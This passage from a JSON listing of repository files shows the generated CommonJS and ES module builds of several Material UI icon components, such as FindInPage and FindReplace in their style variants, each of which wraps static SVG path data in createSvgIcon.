    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.69 7.61c-.7 0-1.39.19-2 .54-.16.09-.32.21-.54.37l-1.13.9c.31.36.56.78.72 1.24l1.38-.52c.22-.08.41-.17.58-.27.84-.49 1.47-1.27 1.78-2.18-.26-.06-.52-.08-.79-.08m-1.56 6.26-1.38-.52c-.16.45-.4.85-.7 1.21l1.15.96c.15.12.31.24.49.34.61.35 1.3.54 1.99.54.27 0 .53-.03.8-.08-.31-.91-.94-1.69-1.78-2.18q-.24-.15-.57-.27M11 6c0 .19.02.41.05.63l.23 1.44c.24-.04.48-.07.72-.07s.48.03.71.07l.23-1.44c.04-.22.06-.44.06-.63 0-.98-.37-1.91-1-2.63-.63.72-1 1.65-1 2.63m1.71 9.93c-.23.04-.47.07-.71.07-.25 0-.49-.03-.72-.07l-.22 1.42c-.04.24-.06.45-.06.65 0 .98.37 1.91 1 2.63.63-.72 1-1.66 1-2.63 0-.19-.02-.41-.05-.63zm-5.84-5.81 1.38.52c.16-.44.4-.85.7-1.2L7.8 8.49c-.17-.15-.34-.27-.49-.35-.62-.36-1.3-.54-2-.54-.27 0-.54.03-.81.08.3.91.93 1.68 1.79 2.18.17.09.36.18.58.26m0 3.74c-.22.08-.41.17-.58.27-.84.49-1.47 1.27-1.78 2.18.26.05.52.08.79.08.7 0 1.39-.19 2-.54.16-.09.32-.21.54-.37l1.13-.89c-.31-.36-.56-.78-.72-1.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-.91-.52-1.95-.8-3.01-.8-1.02 0-2.05.26-2.99.8-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-.94-.54-1.97-.8-2.99-.8-1.05 0-2.1.28-3.01.8 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19.91.52 1.95.8 3.01.8 1.02 0 2.05-.26 2.99-.8.28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c.94.54 1.97.8 2.99.8 1.05 0 2.1-.28 3.01-.8-.01-2.07-1.08-4.08-3-5.19M4.51 7.68c.26-.06.53-.08.8-.08.69 0 1.38.18 1.99.54.15.09.32.2.49.35l1.15.96c-.3.36-.53.76-.7 1.2l-1.38-.52c-.21-.09-.4-.18-.56-.27-.87-.5-1.49-1.27-1.79-2.18m3.33 7.79c-.21.17-.38.29-.54.37-.61.35-1.3.54-2 .54-.27 0-.53-.03-.79-.08.31-.91.94-1.69 1.78-2.18.17-.1.36-.18.58-.27l1.38-.52c.16.46.41.88.72 1.24zM12 3.37c.63.72 1 1.66 1 2.63 0 .19-.02.41-.05.63l-.23 1.44C12.48 8.03 12.24 8 12 8s-.48.03-.71.07l-.23-1.44C11.02 6.41 11 6.19 11 6c0-.98.37-1.91 1-2.63m0 17.26c-.63-.72-1-1.66-1-2.63 0-.2.02-.41.06-.65l.22-1.42c.23.04.47.07.72.07.24 0 .48-.03.71-.07l.23 1.44c.04.22.06.44.06.63 0 .98-.37 1.91-1 2.63M12 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m4.16-5.48c.21-.17.38-.29.54-.37.61-.35 1.3-.54 2-.54.27 0 .53.03.79.08-.31.91-.94 1.69-1.78 2.18-.17.1-.36.18-.58.27l-1.38.52c-.17-.46-.41-.87-.72-1.24zm2.53 7.87c-.69 0-1.38-.18-1.99-.54-.18-.1-.34-.22-.49-.34l-1.15-.96c.3-.36.54-.76.7-1.21l1.38.52c.22.08.41.17.57.26.85.49 1.47 1.27 1.78 2.18-.27.07-.54.09-.8.09\"\n}, \"1\")], 'FilterVintageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.69 7.61c-.7 0-1.39.19-2 .54-.16.09-.32.21-.54.37l-1.13.9c.31.36.56.78.72 1.24l1.38-.52c.22-.08.41-.17.58-.27.84-.49 1.47-1.27 1.78-2.18-.26-.06-.52-.08-.79-.08m-1.56 6.26-1.38-.52c-.16.45-.4.85-.7 1.21l1.15.96c.15.12.31.24.49.34.61.35 1.3.54 1.99.54.27 0 .53-.03.8-.08-.31-.91-.94-1.69-1.78-2.18q-.24-.15-.57-.27M11 6c0 .19.02.41.05.63l.23 1.44c.24-.04.48-.07.72-.07s.48.03.71.07l.23-1.44c.04-.22.06-.44.06-.63 0-.98-.37-1.91-1-2.63-.63.72-1 1.65-1 2.63m1.71 9.93c-.23.04-.47.07-.71.07-.25 0-.49-.03-.72-.07l-.22 1.42c-.04.24-.06.45-.06.65 0 .98.37 1.91 1 2.63.63-.72 1-1.66 1-2.63 0-.19-.02-.41-.05-.63zm-5.84-5.81 1.38.52c.16-.44.4-.85.7-1.2L7.8 8.49c-.17-.15-.34-.27-.49-.35-.62-.36-1.3-.54-2-.54-.27 0-.54.03-.81.08.3.91.93 1.68 1.79 2.18.17.09.36.18.58.26m0 3.74c-.22.08-.41.17-.58.27-.84.49-1.47 1.27-1.78 2.18.26.05.52.08.79.08.7 0 1.39-.19 2-.54.16-.09.32-.21.54-.37l1.13-.89c-.31-.36-.56-.78-.72-1.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-.91-.52-1.95-.8-3.01-.8-1.02 0-2.05.26-2.99.8-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-.94-.54-1.97-.8-2.99-.8-1.05 0-2.1.28-3.01.8 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19.91.52 1.95.8 3.01.8 1.02 0 2.05-.26 2.99-.8.28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c.94.54 1.97.8 2.99.8 1.05 0 2.1-.28 3.01-.8-.01-2.07-1.08-4.08-3-5.19M4.51 7.68c.26-.06.53-.08.8-.08.69 0 1.38.18 1.99.54.15.09.32.2.49.35l1.15.96c-.3.36-.53.76-.7 1.2l-1.38-.52c-.21-.09-.4-.18-.56-.27-.87-.5-1.49-1.27-1.79-2.18m3.33 7.79c-.21.17-.38.29-.54.37-.61.35-1.3.54-2 .54-.27 0-.53-.03-.79-.08.31-.91.94-1.69 1.78-2.18.17-.1.36-.18.58-.27l1.38-.52c.16.46.41.88.72 1.24zM12 3.37c.63.72 1 1.66 1 2.63 0 .19-.02.41-.05.63l-.23 1.44C12.48 8.03 12.24 8 12 8s-.48.03-.71.07l-.23-1.44C11.02 6.41 11 6.19 11 6c0-.98.37-1.91 1-2.63m0 17.26c-.63-.72-1-1.66-1-2.63 0-.2.02-.41.06-.65l.22-1.42c.23.04.47.07.72.07.24 0 .48-.03.71-.07l.23 1.44c.04.22.06.44.06.63 0 .98-.37 1.91-1 2.63M12 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m4.16-5.48c.21-.17.38-.29.54-.37.61-.35 1.3-.54 2-.54.27 0 .53.03.79.08-.31.91-.94 1.69-1.78 2.18-.17.1-.36.18-.58.27l-1.38.52c-.17-.46-.41-.87-.72-1.24zm2.53 7.87c-.69 0-1.38-.18-1.99-.54-.18-.1-.34-.22-.49-.34l-1.15-.96c.3-.36.54-.76.7-1.21l1.38.52c.22.08.41.17.57.26.85.49 1.47 1.27 1.78 2.18-.27.07-.54.09-.8.09\"\n}, \"1\")], 'FilterVintageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19.59V8l-6-6H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c.45 0 .85-.15 1.19-.4l-4.43-4.43c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75zM9 13c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FindInPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19.59V8l-6-6H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c.45 0 .85-.15 1.19-.4l-4.43-4.43c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75zM9 13c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FindInPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zM6 4h7l5 5v8.58l-1.84-1.84c1.28-1.94 1.07-4.57-.64-6.28C14.55 8.49 13.28 8 12 8s-2.55.49-3.53 1.46c-1.95 1.95-1.95 5.11 0 7.05.97.97 2.25 1.46 3.53 1.46.96 0 1.92-.28 2.75-.83L17.6 20H6zm8.11 11.1c-.56.56-1.31.88-2.11.88s-1.55-.31-2.11-.88c-.56-.56-.88-1.31-.88-2.11s.31-1.55.88-2.11c.56-.57 1.31-.88 2.11-.88s1.55.31 2.11.88c.56.56.88 1.31.88 2.11s-.31 1.55-.88 2.11\"\n}), 'FindInPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zM6 4h7l5 5v8.58l-1.84-1.84c1.28-1.94 1.07-4.57-.64-6.28C14.55 8.49 13.28 8 12 8s-2.55.49-3.53 1.46c-1.95 1.95-1.95 5.11 0 7.05.97.97 2.25 1.46 3.53 1.46.96 0 1.92-.28 2.75-.83L17.6 20H6zm8.11 11.1c-.56.56-1.31.88-2.11.88s-1.55-.31-2.11-.88c-.56-.56-.88-1.31-.88-2.11s.31-1.55.88-2.11c.56-.57 1.31-.88 2.11-.88s1.55.31 2.11.88c.56.56.88 1.31.88 2.11s-.31 1.55-.88 2.11\"\n}), 'FindInPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19.59V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c.45 0 .85-.15 1.19-.4l-4.43-4.43c-.86.56-1.89.88-3 .82-2.37-.11-4.4-1.96-4.72-4.31-.44-3.35 2.45-6.18 5.83-5.61 1.95.33 3.57 1.85 4 3.78.33 1.46.01 2.82-.7 3.9zM9 13c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FindInPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19.59V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c.45 0 .85-.15 1.19-.4l-4.43-4.43c-.86.56-1.89.88-3 .82-2.37-.11-4.4-1.96-4.72-4.31-.44-3.35 2.45-6.18 5.83-5.61 1.95.33 3.57 1.85 4 3.78.33 1.46.01 2.82-.7 3.9zM9 13c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FindInPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19.59V8l-6-6H4v20l15.57-.02-4.81-4.81c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75zM9 13c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FindInPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19.59V8l-6-6H4v20l15.57-.02-4.81-4.81c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75zM9 13c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FindInPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4v16h11.6l-2.85-2.85c-.83.55-1.79.83-2.75.83-1.28 0-2.55-.49-3.53-1.46-1.95-1.95-1.95-5.11 0-7.05C9.45 8.49 10.72 8 12 8s2.55.49 3.53 1.46c1.71 1.71 1.92 4.34.64 6.28L18 17.58V9l-5-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 15.58-1.84-1.84c1.28-1.94 1.07-4.57-.64-6.28C14.55 8.49 13.28 8 12 8s-2.55.49-3.53 1.46c-1.95 1.95-1.95 5.11 0 7.05.97.97 2.25 1.46 3.53 1.46.96 0 1.92-.28 2.75-.83L17.6 20H6V4h7l5 5zm-3.01-4.59c0 .8-.31 1.55-.88 2.11-.56.56-1.31.88-2.11.88s-1.55-.31-2.11-.88c-.56-.56-.88-1.31-.88-2.11s.31-1.55.88-2.11S11.2 10 12 10s1.55.31 2.11.88c.57.56.88 1.31.88 2.11\"\n}, \"1\")], 'FindInPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindInPageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4v16h11.6l-2.85-2.85c-.83.55-1.79.83-2.75.83-1.28 0-2.55-.49-3.53-1.46-1.95-1.95-1.95-5.11 0-7.05C9.45 8.49 10.72 8 12 8s2.55.49 3.53 1.46c1.71 1.71 1.92 4.34.64 6.28L18 17.58V9l-5-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 15.58-1.84-1.84c1.28-1.94 1.07-4.57-.64-6.28C14.55 8.49 13.28 8 12 8s-2.55.49-3.53 1.46c-1.95 1.95-1.95 5.11 0 7.05.97.97 2.25 1.46 3.53 1.46.96 0 1.92-.28 2.75-.83L17.6 20H6V4h7l5 5zm-3.01-4.59c0 .8-.31 1.55-.88 2.11-.56.56-1.31.88-2.11.88s-1.55-.31-2.11-.88c-.56-.56-.88-1.31-.88-2.11s.31-1.55.88-2.11S11.2 10 12 10s1.55.31 2.11.88c.57.56.88 1.31.88 2.11\"\n}, \"1\")], 'FindInPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplace.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplace');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplace.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplace');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46l-1.69 1.69c-.31.31-.09.85.36.85h4.29c.28 0 .5-.22.5-.5V5.21c0-.45-.54-.67-.85-.35l-1.2 1.2C14.68 4.78 12.93 4 11 4 7.96 4 5.38 5.94 4.42 8.64c-.24.66.23 1.36.93 1.36.42 0 .79-.26.93-.66C6.96 7.4 8.82 6 11 6m5.64 9.14c.4-.54.72-1.15.95-1.8S17.34 12 16.65 12c-.42 0-.79.26-.93.66C15.04 14.6 13.18 16 11 16c-1.38 0-2.63-.56-3.54-1.46l1.69-1.69c.31-.31.09-.85-.36-.85H4.5c-.28 0-.5.22-.5.5v4.29c0 .45.54.67.85.35l1.2-1.2C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36l4.11 4.11c.41.41 1.08.41 1.49 0s.41-1.08 0-1.49z\"\n}), 'FindReplaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46l-1.69 1.69c-.31.31-.09.85.36.85h4.29c.28 0 .5-.22.5-.5V5.21c0-.45-.54-.67-.85-.35l-1.2 1.2C14.68 4.78 12.93 4 11 4 7.96 4 5.38 5.94 4.42 8.64c-.24.66.23 1.36.93 1.36.42 0 .79-.26.93-.66C6.96 7.4 8.82 6 11 6m5.64 9.14c.4-.54.72-1.15.95-1.8S17.34 12 16.65 12c-.42 0-.79.26-.93.66C15.04 14.6 13.18 16 11 16c-1.38 0-2.63-.56-3.54-1.46l1.69-1.69c.31-.31.09-.85-.36-.85H4.5c-.28 0-.5.22-.5.5v4.29c0 .45.54.67.85.35l1.2-1.2C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36l4.11 4.11c.41.41 1.08.41 1.49 0s.41-1.08 0-1.49z\"\n}), 'FindReplaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FindReplaceTwoTone.mjs",
